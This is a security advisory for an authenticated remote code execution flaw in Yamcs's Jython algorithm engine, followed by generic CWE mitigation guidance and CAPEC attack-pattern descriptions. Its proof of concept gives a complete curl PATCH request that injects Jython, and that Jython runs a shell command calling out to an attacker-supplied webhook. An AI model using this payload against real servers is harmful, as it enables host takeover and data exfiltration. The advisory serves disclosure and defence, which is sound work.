"details": "### Summary\nA Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the `ChangeMissionDatabase` privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.\n\n### Details\nThe vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (`/api/mdb/{instance}/realtime/algorithms/{name}`), the `AlgorithmManager` uses the `ScriptAlgorithmExecutorFactory` to instantiate a JSR-223 `ScriptEngine` (in this case, Jython/Python). \n\nBecause Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as `java.lang.Runtime`. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.\n\n### PoC\n\n**Prerequisites:**\n1. A running Yamcs instance with the Jython engine available in its classpath (e.g., `jython-standalone` dependency included).\n2. An active authentication token for a user with the `SystemPrivilege.ChangeMissionDatabase` privilege.\n3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to `python` (e.g., a custom `poc` algorithm). *Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.*\n\n**Exploitation Steps:**\n\n1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages `java.lang.Runtime` to execute an OS command (e.g., triggering an external webhook or a reverse shell).\n\n ```bash\n curl -i -X PATCH http://\u003cYAMCS-SERVER-IP\u003e:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Authorization: Bearer \u003cYOUR_AUTH_TOKEN\u003e\u0027 \\\n -d \u0027{\n \"action\": \"SET\",\n \"algorithm\": {\n \"text\": \"import java.lang.Runtime\\njava.lang.Runtime.getRuntime().exec([\\\"bash\\\", \\\"-c\\\", \\\"curl https://\u003cYOUR-WEBHOOK-URL\u003e/RCE\\\"])\\nout0.value = 1.0\"\n }\n }\u0027\n ```\n\n *(Note: Assigning a valid output like `out0.value = 1.0` ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).*\n\n2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the `simulator.py` script to update the required parameters like `Sunsensor`).\n\n3. The Yamcs server compiles the injected text into an executable script on the fly.\n\n4. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.\n\n### Impact\nIt impacts any Yamcs deployment where users are granted the `ChangeMissionDatabase` privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.\n\n### Credits\nDiscovered \u0026 reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.",
"id": "GHSA-2g95-6x5q-xjwj",
"modified": "2026-05-27T22:49:25Z",
"published": "2026-05-27T22:49:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-2g95-6x5q-xjwj"
},
{
"type": "PACKAGE",
"url": "https://github.com/yamcs/yamcs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Yamcs Vulnerable to Authenticated Remote Code Execution (RCE) via Jython Algorithm Code Injection"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.